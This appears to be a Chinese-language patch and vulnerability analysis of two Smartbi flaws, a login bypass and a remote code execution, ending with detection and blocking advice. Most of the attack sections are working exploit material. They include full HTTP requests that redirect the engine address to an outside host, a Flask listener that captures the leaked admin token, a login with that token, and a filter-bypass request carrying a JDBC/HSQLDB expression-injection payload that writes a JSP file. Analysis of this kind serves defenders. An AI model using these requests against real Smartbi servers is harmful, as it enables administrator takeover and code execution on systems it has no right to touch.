Smartbi登陆绕过
补丁分析
下载补丁 利用脚本 解码获得本次 补丁信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| { "url": "/smartbix/api/monitor/setServiceAddress", "rules": [{ "type": "RejectSmartbixSetAddress" }] }, { "url": "/smartbix/api/monitor/setServiceAddress/", "rules": [{ "type": "RejectSmartbixSetAddress" }] }, { "url": "/smartbix/api/monitor/setEngineAddress", "rules": [{ "type": "RejectSmartbixSetAddress" }] }, { "url": "/smartbix/api/monitor/setEngineAddress/", "rules": [{ "type": "RejectSmartbixSetAddress" }] }, { "url": "/smartbix/api/monitor/setEngineInfo", "rules": [{ "type": "RejectSmartbixSetAddress" }] }, { "url": "/smartbix/api/monitor/setEngineInfo/", "rules": [{ "type": "RejectSmartbixSetAddress" }] }]
|
漏洞分析
其主要原因是位于/setEngineInfo /setEngineAddress 和 /setServiceAddres的路由, 用户可以修改EngineUrl 和 ServiceUrl 的地址,/token 路由会向EngineUrl 或 ServiceUrl 地址发送 admin的token ,二者结合导致漏洞产生。
修改 EngineUrl 和 ServiceUrl 功能分析 路由如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| /smartbix/api/monitor/setEngineInfo /smartbix/api/monitor/setEngineAddress /smartbix/api/monitor/setServiceAddres @RequestMapping( value = {"/setEngineInfo"}, method = {RequestMethod.POST} ) public ResponseModel setEngineInfo(@RequestBody String engineAddress, @RequestBody String serviceAddress) { ResponseModel res = new ResponseModel(); if (StringUtils.isBlank(engineAddress)) { throw SmartbiXException.create(CommonErrorCode.ILLEGAL_PARAMETER_VALUES).setDetail("Engine address cannot be empty"); } else if (StringUtils.isBlank(serviceAddress)) { throw SmartbiXException.create(CommonErrorCode.ILLEGAL_PARAMETER_VALUES).setDetail("Service address cannot be empty"); } else { this.systemConfigService.updateSystemConfig("ENGINE_ADDRESS", engineAddress, NodeLanguage.getNodeLanguage("EngineAddress")); this.systemConfigService.updateSystemConfig("SERVICE_ADDRESS", serviceAddress, NodeLanguage.getNodeLanguage("ServiceAddress")); res.setMessage("Engine and service address updated successfully"); return res.setTime(); } }
@RequestMapping( value = {"/setEngineAddress"}, method = {RequestMethod.POST} ) public ResponseModel setEngineAddress(@RequestBody String engineAddress) { ResponseModel res = new ResponseModel(); if (StringUtils.isBlank(engineAddress)) { throw SmartbiXException.create(CommonErrorCode.ILLEGAL_PARAMETER_VALUES).setDetail("Engine address cannot be empty"); } else { this.systemConfigService.updateSystemConfig("ENGINE_ADDRESS", engineAddress, NodeLanguage.getNodeLanguage("EngineAddress")); res.setMessage("Engine address updated successfully"); return res.setTime(); } }
@RequestMapping( value = {"/setServiceAddress"}, method = {RequestMethod.POST} ) public ResponseModel setServiceAddress(@RequestBody String serviceAddress) { ResponseModel res = new ResponseModel(); if (StringUtils.isBlank(serviceAddress)) { throw SmartbiXException.create(CommonErrorCode.ILLEGAL_PARAMETER_VALUES).setDetail("Service address cannot be empty"); } else { this.systemConfigService.updateSystemConfig("SERVICE_ADDRESS", serviceAddress, NodeLanguage.getNodeLanguage("ServiceAddress")); res.setMessage("Service address updated successfully"); return res.setTime(); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| @RequestMapping( value = {"/token"}, method = {RequestMethod.POST} ) @FunctionPermission({"NOT_LOGIN_REQUIRED"}) public void getToken(@RequestBody String type) throws Exception { String token = this.catalogService.getToken(10800000L); ComponentStateHolder.toSmartbiX(); if (StringUtil.isNullOrEmpty(token)) { throw SmartbiXException.create(CommonErrorCode.NULL_POINTER_ERROR).setDetail("token is null"); } else if (!"SERVICE_NOT_STARTED".equals(token)) { Map<String, String> result = new HashMap(); result.put("token", token); if ("experiment".equals(type)) { EngineApi.postJsonEngine(EngineUrl.ENGINE_TOKEN.name(), result, Map.class, new Object[0]); } else if ("service".equals(type)) { EngineApi.postJsonService(ServiceUrl.SERVICE_TOKEN.name(), result, Map.class, new Object[]{EngineApi.address("service-address")}); }
ComponentStateHolder.toSmartbiX(); ComponentStateHolder.fromSmartbiX(); } }
|
/token 路由 获取token 后 判断type值发送给 对应服务
验证
postJsonEngine-》HttpKit.postJson-》post
仅验证json 以及状态码是否为 200
发送数据 调用post方法
漏洞检测
修改 service address 或 engine address
/smartbi/smartbix/api/monitor/setEngineAddress
/smartbi/smartbix/api/monitor/setServiceAddress
访问地址 /smartbi/smartbix/api/monitor/engineInfo
查询信息是否被修改
POC
- 修改 service address 或 engine address
- 获取 engine info
- 获取 token
- 使用token 登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST /smartbi/smartbix/api/monitor/setEngineAddress HTTP/1.1 Host: 172.16.170.231:18080 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/we bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Cookie: JSESSIONID=B161558917C5C40E9F44D3F200F233FC; JSESSIONID=2000E5F7344942A884FF5F20428B0AA0 Connection: close Content-Type: plain/text Content-Length: 24
http://121.5.111.38:8088
|
查询 地址是否被修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST /smartbi/smartbix/api/monitor/engineInfo HTTP/1.1 Host: 172.16.170.231:18080 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/we bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Cookie: JSESSIONID=B161558917C5C40E9F44D3F200F233FC; JSESSIONID=2000E5F7344942A884FF5F20428B0AA0 Connection: close Content-Type: plain/text Content-Length: 0
|
python 模拟通信脚本
1 2 3 4 5 6 7 8 9 10 11 12
| import json from flask import Flask from flask import request app = Flask(__name__) @app.route('/api/v1/configs/engine/smartbitoken', methods=['POST']) def smartbi_token(): data = request.get_data() data = json.loads(data) print(f'[+] token: {data["token"]}') return '{"code":0,"message":"OK"}' if __name__ == '__main__': app.run(host='0.0.0.0', port='8088')
|
调用token 接口使其 发送带有 admin的token 「需要利用上面的python脚本建立模拟通信」
想调用 EngineAddress 地址监听 需要 post experiment
想调用 serviceAddress 地址监听 需要 post service
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST /smartbi/smartbix/api/monitor/token HTTP/1.1 Host: 172.16.170.231:18080 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/we bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Cookie: JSESSIONID=B161558917C5C40E9F44D3F200F233FC; JSESSIONID=2000E5F7344942A884FF5F20428B0AA0 Connection: close Content-Type: plain/text Content-Length: 10
experiment
|
利用监听获得的 Token 登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST /smartbi/smartbix/api/monitor/login HTTP/1.1 Host: 172.16.170.231:18080 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/we bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Cookie: JSESSIONID=B161558917C5C40E9F44D3F200F233FC; JSESSIONID=2000E5F7344942A884FF5F20428B0AA0 Connection: close Content-Type: plain/text Content-Length: 47
admin_I2c9f75520189a9c8a9c86b060189ab23f0ea00a5
|
影响版本
Smartbi <= V10
补丁
https://www.smartbi.com.cn/patchinfo
Smartbi 远程代码执行漏洞
漏洞信息描述
CheckIsLoggedFilter绕过 + RMIServlet JDBC 利用
补丁分析
与本次漏洞相关的补丁有
1 2 3
| smartbi.security.patch.impl.RMIServletPatchRule#patch
smartbi.security.patch.impl.WindowUnLoadingAndAttributeRule#patch
|
RMIServletPatchRule中对RMIServlet进行了patch,从req中取了classname和methodname,之后传patchRMI当中获取结果
patchRMI有许多重写的方法,这里把RMIServlet JDBC 的那个利用链给ban了
WindowUnLoadingAndAttributeRule中对windowUnloading传参的情况进行了判断,防止解析不一致
poc细节
POC
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /smartbi/vision/RMIServlet?windowUnloading=className%3DUserService%26methodName%3DautoLoginByPublicUser%26params%3D%5B%5D HTTP/1.1 Host: 39.107.138.71:18080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=A4A423D8D7C23A745FFF9B10C6273290 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 71
className=DataSourceService&methodName=testConnectionList¶ms=%5b%5d
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /smartbi/vision/RMIServlet?windowUnloading=className%3DUserService%26methodName%3DautoLoginByPublicUser%26params%3D%5B%5D HTTP/1.1 Host: 39.107.138.71:18080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=A4A423D8D7C23A745FFF9B10C6273290 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 71
className=DataSourceService&methodName=testConnectionList¶ms=[[{"password":"","maxConnection":100,"user":"${''.getClass().forName(param.a,true,''.getClass().forName(param.b).newInstance())}","driverType":"HSQL","url":"jdbc:hsqldb:file:C:/z2;","name":"test","driver":"org.hsqldb.jdbcDriver","dbCharset":"","transactionIsolation":-1,"validationQueryMethod":0,"validationQuery":"SCRIPT+'../webapps/smartbi/res.jsp';"}]]
|
漏洞分析
CheckIsLoggedFilter绕过
在CheckIsLoggedFilter中会获取className、methodName、params三个参数
共有三种获取参数的方法,分别是
- windowUnloading
- POST params
- GET params
在获取到className和methodName后,会进入函数needToCheck中对类名和方法名进行判断
needToCheck主要采用白名单的方式
以上是CheckIsLoggedFilter的判断逻辑,只有通过白名单检验或处于登录态才可以进入RMIServlet
继续进入RMIServlet中,可见RMIServlet使用了RMIUtil.parseRMIInfo来获取参数
而RMIUtil.parseRMIInfo中首先会使用request.getParameter来获取参数,而不是CheckIsLoggedFilter中使用的windowUnloading,这时候就会产生和CheckIsLoggedFilter解析参数方法不一致的问题
如果能在CheckIsLoggedFilter中使用windowUnloading来通过白名单检验,同时把目标类和目标函数放在post参数中,就可以调用白名单之外的类的方法
最终的sink是smartbi.freequery.client.datasource.DataSourceService#testConnectionList
影响版本
Smartbi v8 部分版本
Smartbi v9、v10全版本
产品支持建议
漏洞检测方面:
这次的漏洞主要是因为对参数的解析不一致导致了可以调用白名单以外的类的方法,检测方法可以是尝试在RMIServlet中调用一个白名单之外的任意类的方法(可以不是testConnectionList),通过返回结果观察是否调用成功
漏洞防护方面:
拦截对/smartbi/vision/RMIServlet路由且携带windowUnloading参数的请求
补丁
https://www.smartbi.com.cn/patchinfo